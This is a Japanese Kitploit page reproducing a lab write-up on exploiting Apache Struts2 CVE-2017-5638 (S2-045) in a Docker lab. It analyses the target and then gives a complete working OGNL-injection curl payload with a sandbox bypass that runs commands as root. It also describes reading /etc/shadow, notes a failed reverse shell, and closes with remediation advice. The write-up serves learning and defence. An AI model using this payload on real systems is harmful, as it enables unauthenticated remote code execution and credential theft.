Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-5638 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2017-5638
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LAB 1 — Apache Struts2 OGNL インジェクション (CVE-2017-5638 / S2-045)

I. システム分析

攻撃面の分析

image.png

コンテナ起動後、Struts2 のログには、struts-default.xml、struts-plugin.xml、struts.xml などのよく知られた設定ファイルが読み込まれることが示されています。これにより、使用されているフレームワークが Apache Struts2 であることが確認できます。

image.png

特筆すべき点は、次の行にあります。

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

この行は、Struts2 がファイルアップロード機能で一般的に使用される multipart/form-data タイプのリクエストを処理するために、Jakarta multipart パーサー(マルチパートアップロードデータ解析器)を選択していることを示しています。

これは S2-045 / CVE-2017-5638 を分析する際の重要なシグナルです。この脆弱性は、Struts2 がマルチパートリクエストの解析時、特に不正な Content-Type ヘッダーを含む場合にエラーを処理するプロセスに関連しているためです。

ただし、このログはアプリケーションが Struts2 と Jakarta スタイルのマルチパートハンドラーを使用していることを示すだけです。アプリケーションが確実に脆弱であると結論付けるにはまだ不十分です。確認するには、struts2-core のバージョンを特定し、影響を受けるバージョン範囲と比較する必要があります。

image.png

image.png

image.png

curl を使用して Web サービスにアクセスすると、レスポンスヘッダーからアプリケーションが Jetty 9.2.11.v20150529 上で動作していることがわかります。この情報はアプリケーションが動作している環境(サーブレットコンテナ)を特定するのに役立ちますが、Struts2 のバージョンを直接明らかにするものではありません。

Web インターフェースは Struts2 Showcase - Fileupload sample ページを返し、アップロードフォームは次を使用しています。

method="POST" enctype="multipart/form-data" action="/upload.action"

これは、Struts2 が MultiPartRequest に jakarta を選択した先ほどのログと一致しています。アプリケーションには確かに multipart/form-data を介したファイルアップロード処理フローがあります。

⇒ 考察: エンドポイント /upload.action は multipart/form-data を使用しており、Struts2 が Jakarta MultiPartRequest を介して処理するメカニズムと一致しています。これは S2-045/CVE-2017-5638 の疑いを強める兆候ですが、アプリケーションが脆弱であると結論付ける前に Struts2 のバージョンを特定する必要があります。次に、struts2-core のバージョンと、不正な Content-Type を受け取ったときにアプリケーションがどのようにエラーを処理するかについて、さらに深い検証が必要です。

Struts2 バージョンの特定

image.png

アプリケーションに multipart/form-data を使用するアップロードエンドポイントがあることを特定した後、次の分析ステップは Struts2 の実際のバージョンを特定することです。これは、以前の兆候がアプリケーションにマルチパートアップロードに関連するメカニズムがあることを示しただけで、脆弱であると結論付けるにはまだ不十分であるため、非常に重要です。

エンドポイント 8001 を提供している正しいコンテナを特定した後、ライブラリの確認はコンテナ project1-lab01-1 内で直接実行されます。

その結果、struts2-core ファイルが見つかりました。

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

このパスから、アプリケーションが Apache Struts2 2.3.30 を使用していることがわかります。

image.png

これを公開されている CVE-2017-5638 / S2-045 脆弱性と比較すると、この脆弱性はパッチ適用前の 2.3.x ブランチを含む多くの古い Struts2 バージョンに影響します。これと以下の情報を組み合わせると:

Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data

分析条件の連鎖がより明確になります:

`Struts2 Version 2.3.30 < Version 2.3.32

  • Jakarta multipart parser + upload endpoint → The application is within the strong suspicion range of S2-045/CVE-2017-5638`

ただし、分析の観点では、脆弱なバージョンは影響を受ける可能性の証拠にすぎません。動作レベルで確認するには、異常なマルチパートリクエストを送信し、Struts2 マルチパートパーサーのエラー処理分岐に入るかどうかをレスポンス/ログで観察する必要があります。

⇒ 考察: この時点では、フレームワークの特定だけではありません。バージョン 2.3.30 により、アプリケーションが S2-045/CVE-2017-5638 の影響を受けるバージョン範囲内にあることが確認されます。残るステップは、証拠の連鎖を完成させるために、マルチパートのエラー処理動作を検証することです。

有効なマルチパート処理フローの検証

image.png

/upload.action に送信されたリクエストが実際に Struts2 のマルチパート処理メカニズムを通過するかどうかを確認する必要があります。ここでは、curl コマンドを -F オプションとともに使用して、処理メカニズムをテストします。返された結果は次のように分解されます:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ 有効なリクエストは、/upload.action が実際に マルチパートアップロード メカニズムを通過することを証明します。curl -F が multipart/form-data を生成し、サーバーがリクエストの各部分を解析できるためです。

    マルチパートリクエスト失敗時の反応の検証

    image.png

    image.png

    Content-Type を multipart/form-data と宣言したが、マルチパート構造に準拠しない本文を持つリクエストを送信した後も、サーバーは HTTP 200 OK を返します。ただし、ContentType、FileName、File、Caption の各フィールドはすべて空です。Docker ログを確認すると、boundary(マルチパート内のパート間の区切り文字列)が存在せず、クライアントは依然として HTTP 200 OK を受信しています。しかし、Struts2 は実際にリクエスト処理中にエラーに遭遇しました。

    これにより、次の証拠の連鎖が証明されます。

    Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary

    ⇒ S2-045/CVE-2017-5638 に関連するコンポーネントと一致します。したがって、条件の連鎖はより完全になります:脆弱なバージョン、Jakarta パーサー、アップロードエンドポイント、および不正なリクエストが正しいマルチパート処理分岐に入ります。

    S2-045/CVE-2017-5638 の重要点は、multipart parser の失敗だけにあるのではありません。パーサーエラーは最初のトリガー条件にすぎません。危険な部分は、Struts2 がその後エラーメッセージをどのように処理するかにあります。影響を受ける Struts2 バージョンでは、multipart parser がエラーに遭遇すると、エラー内容が Struts2 のメッセージ処理メカニズムに渡される可能性があります。攻撃者がエラーに含まれるデータの一部、特に Content-Type ヘッダーからのデータを制御できる場合、そのデータは OGNL(Object-Graph Navigation Language - Struts/XWork の式言語)を介して Struts2 によって評価される可能性があります。

    考察:

    Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE


    II. エクスプロイト

    ターゲットが Struts2 を使用していることを特定し、Struts2 が式エンジンとして OGNL を使用しているため、PayloadsAllTheThings で検索すると、new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) を Struts2 に注入することは失敗することがわかります。Struts2 には java.lang.Runtime へのアクセスをブロックするサンドボックスがあるためです。

    image.png

    ⇒ 見つかったペイロードを Struts2 エクスプロイト構造に組み立てます:

    Trigger Jakarta Parser

    root@kitploit:~
    (#_="multipart/form-data")
    

    Bypass Struts2 Sandbox (Required)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    Command Execution Payload

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    ただし、実際にペイロードを実行すると、2 つの問題に直面します:

    1. Java バージョンエラー: ラボサーバーは Jetty 2015(Java 8)で動作していますが、readAllBytes() 関数は Java 9 以降でのみサポートされています。これを使用し続けると、OGNL は静かに失敗し、空白の HTML ページを返します。これは、ストリームを読み取るために org.apache.commons.io ライブラリの IOUtils クラス(Struts2 で常に利用可能)を使用するように切り替えることで解決されます。
    2. 出力フィルタリング: コマンドが実行されたとしても、結果を HTML ストリームに直接埋め込むと、構造が壊れたりフィルタリングされたりする可能性があります。これは、HttpServletResponse に直接アクセスし、getWriter().println() を使用して出力を最初に表示し、その後 flush() と close() を呼び出して接続を即座に終了することで解決されます。これにより、サーバーは不要な HTML インターフェースをすべてバイパスして、クリーンなコマンド実行結果を返すようになります。

    ⇒ 上記の変更を再構成すると、完全な curl コマンドが得られます(ProcessBuilder + IOUtils + Response Writer を使用):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    エクスプロイト成功!!!

    root 権限で RCE を達成しましたが、各コマンドは個別の HTTP リクエストで送信する必要があり、非対話型の環境となります。リバースシェルを使用すると、永続的なセッションを確立でき、マシンの前に座っているかのようにターゲットシステムと直接対話できるため、情報収集やより深いポストエクスプロイテーションに役立ちます。


    III. ポストエクスプロイテーション

    権限の確認

    エクスプロイト成功後、システム上の権限を確認します:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → アプリケーションは root 権限で実行されています — 権限昇格は必要ありません。

    機密データの収集

    /etc/shadow ファイル(パスワードハッシュを含むファイルで、root のみがアクセス権限を持ちます)を読み取ります:

    image.png

    → 攻撃者が最も機密性の高いファイルを含むシステムファイルへの完全な読み取り/書き込みアクセス権を持っていることを証明します。

    リバースシェルに関する注意

    リバースシェルの確立は失敗しました。Windows 上の Docker コンテナが内部ネットワーク(bridge/NAT)を使用しているため、コンテナはローカル LAN 上の攻撃者のマシン(Kali)に接続を戻すことができません。ただし、これは脆弱性の重大度には影響しません。攻撃者は root 権限で RCE を達成し、システム上で任意のコマンドを実行できるためです。


    IV. リスク評価と修復

    リスク評価

    このシステムの OGNL インジェクション脆弱性(CVE-2017-5638 / S2-045)は、最高リスクレベルと評価されます:

    推奨される修復策

    この脆弱性を完全に修正するには、システム管理チームと開発チームは以下の対策を(優先度順に)実施する必要があります:

    緊急優先事項(短期的対策):

    1. Apache Struts2 のアップグレード: フレームワークを安全なバージョン(≥ 2.3.32 または ≥ 2.5.10.1)に直ちに更新してください。この脆弱性は JakartaMultiPartRequest ライブラリのコア実装に存在するため、これは必須の対策です。
    2. 実行権限の降格: Web アプリケーション(Jetty/Tomcat)を root ユーザーで実行しないでください。アプリケーションの実行に必要な最小限の権限を持つ専用ユーザー(例:struts_user)を作成する必要があります。

    高優先事項(長期的対策と多層防御):

    1. WAF(Web Application Firewall)の導入: Content-Type ヘッダーに OGNL ペイロード(例:%{...}、${...}、ognl、java.lang.ProcessBuilder)を含む HTTP リクエストを検出してブロックする WAF ルールを構成します。
    2. マルチパートパーサーの変更: アプリケーションで Jakarta パーサーを使用する必要がない場合は、struts.xml 設定ファイル(struts.multipart.parser=cos)で Pell や COS などの代替ライブラリへの切り替えを検討してください。
    3. コンテナネットワークの制限: 必要がない限り、コンテナを共有ブリッジネットワーク上に置かないでください。リバースシェルを防ぐために、コンテナがインターネットへの送信接続(アウトバウンドトラフィック)を自ら開始することをブロックするファイアウォールルールを構成します。
    ツールをダウンロード
    評価基準評価詳細
    CVSS スコア10.0(重大)最大の絶対スコア。
    認証不要攻撃者はこれを悪用するためにアカウントやログインを必要としません。
    複雑さ非常に低いContent-Type ヘッダーにペイロードを含む単一の HTTP リクエスト(POST)を送信するだけで済みます。
    取得権限root最高権限レベルでアプリケーション/コンテナを完全に制御し、任意のファイル(/etc/shadow など)を読み取り/書き込みできます。
    横展開高侵害されたコンテナから、攻撃者は内部ネットワーク(LAN)をスキャンし、他のコンテナやホストサーバーを攻撃できます。